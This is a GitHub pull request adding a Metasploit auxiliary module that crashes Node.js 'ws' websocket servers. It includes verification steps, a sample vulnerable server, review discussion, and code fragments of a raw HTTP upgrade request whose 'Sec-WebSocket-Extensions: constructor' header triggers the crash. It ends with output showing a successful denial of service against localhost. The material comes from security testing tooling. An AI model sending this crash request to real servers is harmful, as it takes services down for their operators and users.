Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding ws DoS module #9283

Merged
merged 4 commits into from
Dec 20, 2017
Merged

Adding ws DoS module #9283

merged 4 commits into from
Dec 20, 2017

Conversation

rknellx
Copy link
Contributor

@rknellx rknellx commented Dec 7, 2017

This module verifies if ws is vulnerable
to DoS by sending a request to the server
containing a specific header value.
ws is a npm module which handles websockets.

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use auxiliary/dos/http/ws_dos
  • Download and install ws version 1.1.4 npm i ws@1.1.4
  • Start the node server using the code below
  • run in msf
  • To verify it's vulnerable, the node process running the server should crash

This is an example server we tested against
for this vulnerability.

const WebSocket = require('ws');
const wss = new WebSocket.Server(
{ port: 3000 }
);
wss.on('connection', function connection(ws) {
console.log('connected');
ws.on('message', function incoming(message)
{ console.log('received: %s', message); }
);
ws.on('error', function (err)
{ console.error(err); }
);
});

This module verifies if ws is vulnerable
to DoS by sending a request to the server
containing a specific header value.
ws is a npm module which handles websockets.
Adding module documentation for ws_dos.
@bcoles bcoles removed the needs-docs label Dec 11, 2017
req = [
"GET #{path} HTTP/1.1",
"Connection: Upgrade",
"Sec-WebSocket-Key: test",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can key be randomised ? Rex::Text.rand_text_alpha(rand(10) + 5)

1. Start the vulnerable server using the sample server code below `node server.js`
2. Start `msfconsole`
3. `use auxiliary/dos/http/ws_dos`
4. `set RHOST XXX.XXX.XXX.XXX`
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggest: set RHOST <IP>

## Vulnerable Application

[ws < 1.1.5 || (2.0.0 , 3.3.1)]
(https://nodesecurity.io/advisories/550)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The newline and spaces are breaking the markdown.

image

"Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS
"Upgrade: websocket",
"\r\n"
].join("\r\n");
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ideally the module would use send_request_cgi from the Msf::Exploit::Remote::Http mixin, rather than using raw TCP.

Unfortunately it seems the HTTP mixin doesn't support websockets and there are no WebSocket libraries :(

Something like this would make the module much cleaner.

    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'headers'  => {
        'Connection' => 'Upgrade',
        'Upgrade' => 'websocket',
        'Sec-WebSocket-Key' => Rex::Text.rand_text_alpha(rand(10) + 5).to_s,
        'Sec-WebSocket-Version' => '8',
        'Sec-WebSocket-Extensions' => 'constructor' # Adding "constructor" as the value for this header causes the DoS
      }
    }, 15)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We tried to use send_request_cgi previously, however, we were unable to get the exploit to work because of the lack of WebSocket support.

1. Updated documentation
2. Made the Sec-WebSocket-Key header a random value
@rknellx
Copy link
Contributor Author

rknellx commented Dec 15, 2017

I just wanted to check with you on the status of the review of this pull request. Thank you.

1. Start the vulnerable server using the sample server code below `node server.js`
2. Start `msfconsole`
3. `use auxiliary/dos/http/ws_dos`
4. `set RHOST XXX.XXX.XXX.XXX`
4. `set RHOST <IP>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing `

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I added the missing `

Added a missing backtick
@busterb busterb self-assigned this Dec 20, 2017
@busterb
Copy link
Member

busterb commented Dec 20, 2017

Die, die!

[*] 127.0.0.1:3000 - Sending DoS packet to 127.0.0.1:3000
[+] 127.0.0.1:3000 - DoS packet successful. 127.0.0.1:3000 not responding.
[*] Auxiliary module execution completed
msf auxiliary(dos/http/ws_dos) > exit

@busterb busterb merged commit 369d74c into rapid7:master Dec 20, 2017
@busterb
Copy link
Member

busterb commented Dec 20, 2017

Release Notes

This adds a Denial of Service exploit for the 'ws' websocket library in Node.js.

@tdoan-r7 tdoan-r7 added the rn-enhancement release notes enhancement label Jan 10, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants